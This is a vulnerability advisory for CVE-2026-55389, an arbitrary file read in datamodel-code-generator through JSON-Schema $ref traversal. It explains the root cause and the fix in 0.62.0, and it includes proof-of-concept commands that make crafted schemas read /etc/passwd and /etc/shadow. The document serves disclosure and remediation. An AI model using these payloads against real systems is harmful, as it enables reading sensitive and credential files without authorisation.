CVE-2026-55389: datamodel-code-generator Arbitrary File Read via JSON-Schema $ref
An attacker who supplies a crafted JSON Schema can read any file on the server by using a file:// or ../ reference inside a $ref field, bypassing the --no-allow-remote-refs security control entirely.

The problem
datamodel-code-generator resolves JSON-Schema $ref values that point at the local filesystem without confining them to the input base directory. Two vectors exist: a file:// absolute URI and a ../-escaped relative reference.
Both vectors work even when --no-allow-remote-refs is set, because the remote-ref gate explicitly skips file:// URIs. The process opens the target file with no containment check, giving an attacker three distinguishable outcomes they can use as a filesystem oracle: file read (type error on parse), file missing (FileNotFoundError), or file unreadable (PermissionError).
When the referenced node is schema-shaped, values in const, default, enum, or description positions are emitted verbatim into the generated Python output.
Proof of concept
A working proof-of-concept for CVE-2026-55389 in datamodel-code-generator, with the exact payload below.
# Vector 1: file:// absolute read (any path)
printf '{"type":"object","properties":{"x":{"$ref":"file:///etc/passwd"}}}' > probe.json
datamodel-codegen --input probe.json --input-file-type jsonschema --output o.py
# -> TypeError: Expected dict, got str => /etc/passwd was opened and read.
# Vector 2: ../ relative traversal outside base dir
printf '{"type":"object","properties":{"x":{"$ref":"../../../../../../etc/shadow"}}}' > probe2.json
datamodel-codegen --input probe2.json --input-file-type jsonschema --output o.py
# -> FileNotFoundError path leaks absolute resolved path (filesystem oracle)
# Vector 3: --no-allow-remote-refs bypass (flag has no effect on file://)
printf '{"type":"object","properties":{"x":{"$ref":"file:///etc/passwd"}}}' > probe.json
datamodel-codegen --input probe.json --input-file-type jsonschema --no-allow-remote-refs --output o.py
# -> Still reads /etc/passwd. Gate is bypassed.The root cause is in two places. First, is_url() classifies file:// as a URL, and the remote-ref gate then exempts it with if not resolved_ref.startswith('file://'), so --no-allow-remote-refs never fires for local file URIs. Second, _get_ref_body_from_url calls url2pathname(urlparse(ref).path) to get an absolute path and reads it with no bounds check, while _get_ref_body_from_remote computes full_path = self.base_path / resolved_ref with no is_relative_to(base_path) guard.
The HTTP-local-ref branch (_get_ref_body_from_local_http_path) already enforced is_relative_to(base_path) correctly. The filesystem branches never did. The patch in 0.62.0 removes the file:// exemption from the remote-ref gate and adds is_relative_to(base_path) checks to both filesystem branches, mirroring the existing HTTP guard.
CWE-22 (Path Traversal) and CWE-200 (Information Disclosure).
The fix
Upgrade to datamodel-code-generator 0.62.0. The fix (commit 2ff4a72b4550a2b2069754c5b075b1655067e5fb) applies the allow_remote_refs gate to file:// URIs and adds is_relative_to(base_path) containment checks to both _get_ref_body_from_url and _get_ref_body_from_remote.
In 0.62.0, --no-allow-remote-refs correctly blocks these references. The default mode emits a FutureWarning for out-of-tree local refs; pass --allow-remote-refs only if you intentionally trust external local schemas.
Reported by Hamza Haroon (thegr1ffyn).
Related research
- high · 7.5CVE-2026-55390CVE-2026-55390: datamodel-code-generator XSD schemaLocation Path Traversal
- high · 8.2CVE-2026-54691CVE-2026-54691: datamodel-code-generator SSRF via --url
- high · 7.8CVE-2026-54654CVE-2026-54654: datamodel-code-generator Code Injection via Carriage Return in --extra-template-data comment
- high · 7.8CVE-2026-54655CVE-2026-54655: datamodel-code-generator Code Injection via x-python-type